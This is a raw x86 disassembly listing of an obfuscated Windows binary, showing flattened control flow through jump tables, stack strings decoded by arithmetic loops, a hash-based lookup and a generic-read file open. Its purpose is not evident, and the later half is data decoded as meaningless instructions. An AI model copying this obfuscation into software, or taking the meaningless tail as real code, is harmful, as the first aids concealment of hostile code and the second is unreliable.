mov edx, dword [esp + 4]
mov edi, edx
mov ebx, dword [esp + 0xc]
jmp dword [ecx*4 + 0x4480cc]
mov esi, dword [esp + 0x84]
jmp dword [0x448194]
mov ecx, esi
call fcn.0042b450
push esi
call fcn.00408390
add esp, 4
xor edx, edx
jmp dword [0x44819c]
push dword [esp + 0x88]
call fcn.00408390
xor edx, edx
add esp, 4
mov ebp, edi
mov eax, dword [esp + 0x74]
mov dword [esp + 0x14], 0xe8ebeae5
mov dword [esp + 0x18], 0
nop
nop
nop
nop
mov ecx, edx
add cl, 0xd7
xor cl, byte [esp + edx + 0x14]
add cl, 0xcd
mov byte [esp + edx + 0x14], cl
inc edx
cmp edx, 8
jne 0x428ac0
mov ecx, dword [0x44d2b8]
test ecx, ecx
je 0x428b08
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44d2bc]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x428b00
inc esi
cmp ecx, esi
jne 0x428af0
jmp 0x428b08
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x428b23
mov edi, dword [esp + 8]
mov eax, dword [esp]
jmp dword [0x4481a4]
mov esi, eax
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x4481ac]
push eax
push 4
push ecx
push dword [0x44d2c0]
call fcn.0043d920
add esp, 0x10
mov edi, dword [esp + 8]
mov eax, dword [esp]
jmp dword [0x4481a4]
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x447ffc]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], 0x19ce1bf7
mov dword [esp + 0x18], 0xe54be7a9
mov dword [esp + 0x1c], 0xe156e34b
mov dword [esp + 0x20], 0xed5eef2f
mov dword [esp + 0x24], 0xe926eb5c
mov dword [esp + 0x28], 0xf54af747
mov dword [esp + 0x2c], 0xf119f35b
mov dword [esp + 0x30], 0xfd23ff54
mov dword [esp + 0x34], 0xf951fb40
mov dword [esp + 0x38], 0xc575c757
mov dword [esp + 0x3c], 0xc176c360
mov dword [esp + 0x40], 0xcd63cf71
mov dword [esp + 0x44], 0xc97ecb63
mov dword [esp + 0x48], 0xd56cd73a
mov dword [esp + 0x4c], 0xd178d378
lea eax, [esp + 0x50]
mov word [esp + 0x50], 0xdfd0
mov dword [esp + 0x52], 0
mov word [esp + 0x56], 0
mov ecx, 0xfb
nop
nop
nop
movzx esi, byte [esp + ecx - 0xe7]
mov edx, ecx
and edx, esi
add edx, edx
add esi, ecx
add esi, 0xbdc21300
mov edi, edx
xor edi, esi
not edx
and edx, esi
add edx, edx
sub edx, edi
mov esi, edx
and esi, 0x18
mov edi, edx
xor edi, 0x18
lea ebx, [edi + esi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + ecx - 0xe7], bl
inc ecx
cmp ecx, 0x13f
jne 0x428bf0
lea edx, [esp + 0x14]
lea esi, [esp + 0x9c]
mov edi, esi
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea ebp, [esp + 0x98]
push ebp
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x44d2b4]
mov dword [esp + 0x14], 0x79babba1
mov ecx, 0x62a09a9f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x62a09a8b]
xor edi, ecx
lea edx, [edi + 0x12dcfae4]
mov ebx, edx
xor ebx, 0xfe
mov esi, edx
or esi, 1
and esi, ebx
and edi, 1
xor edx, 1
or edx, edi
add edx, esi
mov byte [esp + ecx - 0x62a09a8b], dl
inc ecx
cmp ecx, 0x62a09aa3
jne 0x428c90
xor ecx, ecx
cmp eax, dword [esp + 0x14]
setne cl
xor eax, eax
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 8]
jmp dword [ecx*4 + 0x448084]
mov edi, dword [esp + 0x98]
mov esi, ebp
test edi, edi
jns 0x428d00
mov eax, 0xffffffff
jmp 0x428d03
mov dword [esp], eax
jmp dword [0x4481e0]
lea eax, [edi + edi]
push eax
call fcn.00408380
add esp, 4
mov ebp, eax
push esi
push edi
push eax
push 0x1e
lea eax, [esp + 0xac]
push eax
push 0
call dword [0x44d2b4]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44808c]
mov edi, dword [esp + 8]
jmp dword [0x44809c]
xor eax, eax
mov edi, dword [esp + 8]
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44807c]
jmp dword [0x448074]
push ebp
call fcn.00408390
add esp, 4
xor eax, eax
mov edi, dword [esp + 8]
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44807c]
mov dword [esp], 0
jmp dword [0x4481e0]
mov esi, eax
mov eax, dword [case.0x427688.161]
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 8]
jmp 0x428dce
push ebp
call fcn.00408390
add esp, 4
mov eax, esi
and al, 1
mov dword [esp], eax
jmp dword [0x4481e0]
mov eax, esi
and al, 1
mov dword [esp], eax
jmp dword [0x4481e0]
push dword [esp + 0x70]
mov esi, eax
call fcn.00408390
add esp, 4
mov eax, esi
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x4481ac]
mov eax, dword [case.0x427688.161]
mov ebp, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x4481d4]
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x14], 0xe8ebeae5
mov dword [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd7
xor dl, byte [esp + ecx + 0x14]
add dl, 0xcd
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 8
jne 0x428e10
mov ecx, dword [0x44d2b8]
test ecx, ecx
je case.0x427688.71
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44d2bc]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x428e50
inc esi
cmp ecx, esi
jne 0x428e40
jmp case.0x427688.71
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x427688.71
push eax
push 4
push ecx
push dword [0x44d2c0]
call fcn.0043d920
add esp, 0x10
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x14], 0xe8ebeae5
mov dword [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd7
xor dl, byte [esp + ecx + 0x14]
add dl, 0xcd
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 8
jne 0x428e90
mov ecx, dword [0x44d2b8]
test ecx, ecx
je 0x428eea
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44d2bc]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x428ed0
inc esi
cmp ecx, esi
jne 0x428ec0
jmp 0x428eea
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x428eea
push eax
push 4
push ecx
push dword [0x44d2c0]
call fcn.0043d920
add esp, 0x10
jmp dword [0x44806c]
xor eax, eax
mov ebp, dword [esp + 4]
jmp dword [0x4481a4]
lea eax, [esp + 0x74]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.0043ff30
add esp, 0x14
mov eax, ebx
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408380
add esp, 4
mov esi, eax
lea eax, [esp + 0x74]
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.0043ff30
add esp, 0x14
jmp dword [0x4480a4]
mov dword [esp + 0x70], ebp
mov dword [esp + 4], esi
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4480ac]
mov byte [esi], 0
mov dword [esp + 0x14], 0x959697e7
mov dword [esp + 0x18], 0xb1819e9b
mov dword [esp + 0x1c], 0xb4888e87
mov dword [esp + 0x20], 0x8ab696c9
mov dword [esp + 0x24], 0x9dc78097
mov dword [esp + 0x28], 0xbb8d8681
mov dword [esp + 0x2c], 0x8182f981
mov dword [esp + 0x30], 0xb84
mov byte [esp + 0x34], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x14]
mov edx, eax
and edx, 0x12
mov ebx, ecx
xor ebx, 0x93ab3e49
add ebx, edx
lea edi, [ebx + ebx]
not edi
add edi, ebx
or edi, esi
lea edx, [esi + esi]
not edx
add edx, esi
or edx, ebx
lea esi, [edi + edi]
not esi
add esi, edi
not edx
or edx, esi
add dl, 0x93
mov byte [esp + ecx + 0x14], dl
inc ecx
add eax, 2
cmp ecx, 0x21
jne 0x428fb0
mov esi, ebp
mov eax, ebp
mov edx, dword [esp + 4]
mov ecx, edx
sar eax, cl
mov ecx, dword [esp + 0xf0]
push eax
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.00409280
mov byte [esi], 0
mov dword [esp + 0x14], 0x959697e7
mov dword [esp + 0x18], 0xb1819e9b
mov dword [esp + 0x1c], 0xb4888e87
mov dword [esp + 0x20], 0x8ab696c9
mov dword [esp + 0x24], 0x9dc78097
mov dword [esp + 0x28], 0xbb8d8681
mov dword [esp + 0x2c], 0x8182f981
mov dword [esp + 0x30], 0xb84
mov byte [esp + 0x34], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x14]
mov edx, eax
and edx, 0x12
mov ebx, ecx
xor ebx, 0x93ab3e49
add ebx, edx
lea edi, [ebx + ebx]
not edi
add edi, ebx
or edi, esi
lea edx, [esi + esi]
not edx
add edx, esi
or edx, ebx
lea esi, [edi + edi]
not esi
add esi, edi
not edx
or edx, esi
add dl, 0x93
mov byte [esp + ecx + 0x14], dl
inc ecx
add eax, 2
cmp ecx, 0x21
jne 0x429060
mov esi, ebp
mov eax, ebp
mov edx, dword [esp + 4]
sub eax, edx
mov ecx, dword [esp + 0xf0]
push eax
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.00409280
jmp dword [0x4481c0]
lea eax, [esp + 0x7c]
push 0
push eax
push dword [esp + 0xa4]
call fcn.00440280
add esp, 0xc
lea eax, [esp + 0x7c]
push 0
push eax
push dword [esp + 0xa4]
call fcn.00440280
add esp, 0xc
jmp dword [0x447ff8]
int3
jmp dword [0x44821c]
push dword [esp + 0x3c]
call fcn.00408390
add esp, 4
xor eax, eax
jmp 0x42a4d7
xor ecx, ecx
cmp dword [esp + 0x60], 0xc
setne cl
jmp dword [ecx*4 + 0x448234]
mov dword [esp + 0x6c], eax
jmp dword [0x448248]
jmp dword [0x44823c]
mov ecx, dword [case.0x427688.173]
nop
nop
nop
jmp ecx
jbe 0x447f89
add byte [esi], dh
jl 0x447f8d
add byte [esi], dh
jl 0x447f91
add byte [ebx + 0x74004276], ch
ja 0x447f99
add byte [ebx + 0x7b], ah
inc edx
add byte [edi + 0x7b], al
inc edx
add cl, dl
ja 0x447fa5
add byte [ecx + 0x7b], bl
inc edx
add byte [edx + 0x7b], dh
inc edx
add byte [0x30004278], dl
js 0x447fb5
add al, al
ja 0x447fb9
add byte [ecx], bh
js 0x447fbd
add al, al
ja 0x447fc1
add byte [edi + 0x78], ch
inc edx
add al, al
ja 0x447fc9
add byte [ebx + 0x21004278], ah
js 0x447fcd
add byte [ecx], ah
jp 0x447fd1
add byte [edx], ch
jp 0x447fd5
add byte [ebp + 0x7a], al
inc edx
add byte [esi + 0x7a], cl
inc edx
jp 0x447fdd
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esp + edi*2 + 0x42], cl
add dl, cl
jp 0x447ff1
add ah, dl
jp 0x447ff5
add byte [ebx], al
jl 0x447ff9
add byte [eax], dl
jl 0x447ffd
add byte [eax], dl
jl 0x448001
add byte [eax], dl
jl 0x448005
add byte [esi], dl
jl 0x448009
add byte [eax], dl
jl 0x44800d
add byte [edx], dh
jle 0x448011
add al, cl
mov byte [edx], al
pushfd
jg 0x448019
add byte [esi + 0x6400427f], dh
add byte [edx], 0xc7
jg 0x448025
add byte [ebx - 0x73], cl
inc edx
add byte [eax + eax*4 - 0x6f3bffbe], dl
inc edx
add dl, bl
nop
inc edx
add ah, al
nop
inc edx
add byte [edx - 0x75], al
inc edx
add byte [eax - 0x7fffbd80], dh
mov eax, dword [edx]
mov al, 0x80
inc edx
add byte [eax - 0x7fffbd79], al
add byte [edx], 0x80
xchg dword [edx], eax
add byte [edi - 0x787fffbe], 0x42
add byte [eax - 2046803321], al
xchg dword [edx], eax
add byte [edi - 0x787fffbe], 0x42
add byte [esi + 973095559], al
xchg dword [edx], eax
add byte [edi - 0x7879ffbe], 0x42
add byte [edx], bh
xchg dword [edx], eax
xchg byte [edi - 0x77c5ffbe], al
inc edx
add byte [ebx + 0x15004287], bh
xchg dword [edx], eax
cmp cl, byte [eax - 0x7844ffbe]
inc edx
add byte [0xba004288], dl
mov byte [edx], al
mov ebx, 0x15004287
xchg dword [edx], eax
adc eax, 0xba004288
mov byte [edx], al
mov edx, 0x15004280
add byte [edx], 0x15
mov byte [edx], al
pushal
add dword [edx], case.0x42789c.41
pushal
add dword [edx], case.0x42789c.44
pushal
add dword [edx], case.0x42789c.38
mov esp, 0x1f004281
mov byte [edx], al
cmp cl, byte [eax - 0x77bfffbe]
inc edx
add byte [ecx - 0x78], cl
inc edx
add byte [eax - 0x78], dl
inc edx
add byte [eax - 0x78], dl
inc edx
add byte [eax + 0x50004280], dh
mov byte [edx], al
push 0xffffffffffffff8e
inc edx
add al, ch
lea eax, [edx]
dec ebx
lea eax, [edx]
call 0x5144c302
lea eax, [edx]
cmp dword [ebp - 0x74adffbe], ecx
inc edx
add byte [ebp + ecx*4 + 0x42], ch
add bl, ah
mov word [edx], es
test dword [edx + eax*2 + 0x42875e00], 0x428d2f00
add byte [edx - 150977920], bl
mov word [edx], es
adc ecx, dword [edi - 0x7103ffbe]
inc edx
add byte [eax - 0x71], cl
inc edx
add ah, bh
mov es, word [edx]
invalid
mov al, byte [edx]
xchg esp, eax
add dword [edx], 112
mov al, byte [edx]
mov dh, 0x83
inc edx
add byte [esi - 0x49ffbd7d], dh
add dword [edx], 0xffffffb6
add dword [edx], 0xffffffc6
add byte [esi - 0x39ffbd7d], dh
add dword [edx], 0xffffffff
xchg byte [edx], al
in al, 0x83
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dh, dh
nop
inc edx
add byte [ecx], cl
test dword [edx], eax
inc esi
test byte [edx], al
xor byte [edx + eax*2 + 0x42849e00], al
add byte [edi + eax*4], ch
not byte [eax - 0x7af6ffbe]
inc edx
add byte [esi - 0x7c], al
inc edx
add byte [eax], dh
test byte [edx], al
sahf
test byte [edx], al
sub al, 0x87
inc edx
add byte [esi], bh
xchg dword [edx], eax
xchg dword ds:[edx], eax
push ss
xchg dword [edx], eax
sub al, 0x87
inc edx
add byte [edx - 0x7b], ah
inc edx
add byte [eax], dh
test dword [edx], eax
xor byte [ebp - 0x7acfffbe], al
inc edx
add byte [eax], dh
test dword [edx], eax
test dword ss:[edx], eax
push esi
test dword [edx], eax
jne 0x458188
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
jne 0x85a68198
inc edx
add byte [edx], bl
test dword [edx], eax
jo 0x4480e3
inc edx
add byte [edx + 0x8004285], al
xchg byte [edx], al
push cs
xchg byte [edx], al
fiadd dword [esi - 0x7900ffbe]
inc edx
add al, dh
xchg byte [edx], al
loopne 0x448100
inc edx
add al, dh
xchg byte [edx], al
inc dword [esi + 0x10042]
add byte [eax], al
add dword [eax], eax
add byte [eax], al
jo 0x448118
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x76], bh
inc edx
add byte [edx - 0x79], ch
inc edx
add byte [ebp - 0x59ffbd76], dl
mov al, byte [edx]
lodsd eax, dword [esi]
lea eax, [edx]
adc eax, 0xc900428b
lea eax, [edx]
push esi
xchg dword [edx], eax
pop esp
pop dword [edx]
adc byte [eax - 0x70a3ffbe], dl
inc edx
add byte [ecx - 0x73], bh
inc edx
add al, ah
lea eax, [edx]
loopne 0x448157
inc edx
add dl, ah
lea eax, [edx]
loopne 0x44815f
inc edx
add byte [edx - 0x5fffbd73], cl
lea eax, [edx]
push edx
mov byte [edx], al
mov dword [0xa3004288], eax
mov byte [edx], al
enter 0x4288, 0
pop es
xchg edx, eax
inc edx
add byte [eax], ah
xchg edx, eax
inc edx
add byte [eax], ah
xchg edx, eax
inc edx
add byte [eax], ah
xchg edx, eax
inc edx
add dl, ah
movsb byte es:[edi], byte [esi]
inc edx
add byte [eax], ah
xchg edx, eax
inc edx
add byte [eax - 0x6e], ah
inc edx
add byte [edi - 0x6e], bh
inc edx
add byte [eax - 0x6e], ah
inc edx
add byte [eax - 0x6e], ah
inc edx
add byte [esi - 0x6e], ah
inc edx
add byte [eax - 0x6e], ah
inc edx
add byte [edx + edx*4 + 0x42], ch
add byte [eax - 0x6e], bh
inc edx
add byte [eax - 0x5fffbd6c], ah
xchg esp, eax
inc edx
add byte [eax - 0x5dffbd6c], ah
xchg esp, eax
inc edx
add byte [edi - 0x4cffbd5c], bh
xchg esp, eax
inc edx
add ch, al
movsb byte es:[edi], byte [esi]
inc edx
add ch, dl
movsb byte es:[edi], byte [esi]
inc edx
add byte [ebp + 0x62004294], bh
xchg esi, eax
inc edx
add dh, ah
xchg edi, eax
inc edx
add byte [edx - 0x6a], ah
inc edx
add dl, dh
xchg edi, eax
inc edx
add byte [0x79004298], cl
mov eax, dword [0xa1660042]
inc edx
add byte [esi - 0x5f], ah
inc edx
add byte [edx + 0x1f0042a1], dl
cwde
inc edx
add byte [edx - 0x2bffbd5f], ah
sahf
inc edx
add bh, dl
mov eax, dword [0x9ed40042]
inc edx
add ah, bh
mov eax, dword [0x9f0c0042]
inc edx
add byte [ecx + 0x620042a4], bh
lahf
inc edx
add byte [ebx - 0x60], dh
inc edx
add byte [ebx - 0x60], dh
inc edx
add dl, bl
sahf
inc edx
add dl, ah
sahf
inc edx
add ch, ch
sahf
inc edx
add byte [edi + ebx*4], dl
inc edx
add byte [edi], bh
lahf
inc edx
add byte [edx], bl
lahf
inc edx
add byte [eax], dh
lahf
inc edx
add byte [eax], dh
lahf
inc edx
add byte [edi], bh
lahf
inc edx
add byte [eax - 0x61], ah
inc edx
add byte [eax - 0x61], ah
inc edx
add byte [eax - 0x61], ah
inc edx
add ah, dl
sahf
inc edx
add byte [ebx], dl
cwde
inc edx
add byte [edi], bl
cwde
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add ch, ch
movsb byte es:[edi], byte [esi]
inc edx
add byte [ecx], al
add byte [eax], al
add dl, bh
xchg edi, eax
inc edx
add byte [eax - 0x70ffbd68], bl
sahf
inc edx
add byte [edx - 0x57ffbd68], ah
cwde
inc edx
add byte [eax - 0x65], dh
inc edx
add byte [eax - 0x65], dh
inc edx
add byte [esi - 0x62], al
inc edx
add byte [ecx - 0x62], bl
inc edx
add byte [eax - 0x62], ch
inc edx
add byte [esi - 0x62], ch
inc edx
add byte [edi - 0x7fffbd62], cl
sahf
inc edx
add byte [esi + ebx*4 + 0x42], dh
add byte [edi - 0x7fffbd62], cl
sahf
inc edx
add byte [eax - 0x5fffbd62], ah
sahf
inc edx
add byte [edx - 0x5fffbd62], ah
sahf
inc edx
add al, ah
movsb byte es:[edi], byte [esi]
inc edx
add al, ah
movsb byte es:[edi], byte [esi]
inc edx
add al, ah
movsb byte es:[edi], byte [esi]
inc edx
add dl, ah
movsb byte es:[edi], byte [esi]
inc edx
add byte [eax + esi*4], cl
inc edx
add byte [ecx + 0x720042af], dh
mov al, 0x42
add byte [ecx - 0x7bffbd51], dh
mov al, 0x42
add al, ch
mov al, 0x42
add ah, cl
mov al, 0x42
add byte [edi - 0x51], bh
inc edx
add dl, dl
mov al, 0x42
add al, ah
mov al, 0x42
add al, ah
mov al, 0x42
add al, ah
mov al, 0x42
add al, ch
mov al, 0x42
add al, ah
mov al, 0x42
add byte [eax - 0x51], ch
inc edx
add byte [esi], dh
scasb al, byte es:[edi]
inc edx
add dl, al
scasb al, byte es:[edi]
inc edx
add byte [edx - 0x52], bl
inc edx
add byte [ecx + 0x4c0042ae], bl
scasd eax, dword es:[edi]
inc edx
add byte [eax], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [ecx + 0x100042ae], bl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi], ah
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x59], bl
inc edx
add byte [ebx - 0x59], ch
inc edx
add byte [eax + 0x10042ad], dl
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x59], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x59], bh
inc edx
add byte [eax - 0x74ffbd53], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x64ffbd53], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x50ffbd53], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax + 0x30042ad], dl
test al, 0x42
add byte [0xed0042a8], cl
lodsb al, byte [esi]
inc edx
add byte [esi], bh
test al, 0x42
add byte [eax - 0x58], cl
inc edx
add byte [eax - 0x58], dh
inc edx
add byte [ebp + 0x700042a8], bl
test al, 0x42
add ch, al
lodsb al, byte [esi]
inc edx
add byte [eax - 0x20ffbd58], dh
test al, 0x42
add bh, ch
test al, 0x42
add dh, bh
test al, 0x42
add dh, bh
test al, 0x42
add byte [eax], al
test eax, 0xa8fe0042
inc edx
add byte [0x30042a9], cl
stosd dword es:[edi], eax
inc edx
add byte [ebx], al
stosd dword es:[edi], eax
inc edx
add byte [edx - 0x46ffbd54], ch
lodsb al, byte [esi]
inc edx
add ch, al
lodsb al, byte [esi]
inc edx
add bh, cl
lodsb al, byte [esi]
inc edx
add ch, ch
lodsb al, byte [esi]
inc edx
add dh, bl
lodsb al, byte [esi]
inc edx
add ch, dl
lodsb al, byte [esi]
inc edx
add ch, ch
lodsb al, byte [esi]
inc edx
add dh, bl
lodsb al, byte [esi]
inc edx
add byte [eax - 0x53], dh
inc edx
add byte [eax - 0x53], dh
inc edx
add byte [eax - 0x53], dh
inc edx
add byte [edx - 0x53], dh
inc edx
add byte [edx - 0x53], bh
inc edx
add byte [eax - 0x5fffbd53], dl
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x5dffbd53], ah
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x59ffbd53], ah
scasb al, byte es:[edi]
inc edx
add dl, al
scasb al, byte es:[edi]
inc edx
add al, al
scasb al, byte es:[edi]
inc edx
add al, al
scasb al, byte es:[edi]
inc edx
add al, al
scasb al, byte es:[edi]
inc edx
add dl, al
scasb al, byte es:[edi]
inc edx
add dh, dl
scasb al, byte es:[edi]
inc edx
add byte [ebx + 0x680042ad], ch
scasd eax, dword es:[edi]
inc edx
add dh, dl
scasb al, byte es:[edi]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, dh
mov al, 0x42
add byte [esi - 0x51], ch
inc edx
add byte [edi - 0x51], dh
inc edx
add al, dh
mov al, 0x42
add al, dh
mov al, 0x42
add al, dh
mov al, 0x42
add byte [edi + ebp*4 + 0x42], ah
add byte [eax], al
lds eax, [esi]
adc byte [ecx], al
mov al, 6
adc byte [ecx], al
mov al, 6
adc byte [ecx], al
sbb byte [ebx], bl
adc byte [ecx], al
inc eax
sbb edx, dword [eax]
add dword [ebp - 0x6bfeefee], ebx
adc al, 0x10
add dword [0xbd011015], esp
adc al, 0x10
add dword [ecx - 0x70feefeb], ebp
adc al, 0x10
add dword [edx - 0x6ffeefe9], edx
pop ss
adc byte [ecx], al
pop ebx
sbb edx, dword [eax]
add edx, esp
sbb edx, dword [eax]
add dword [ebp + 0x1c], eax
adc byte [ecx], al
invalid
invalid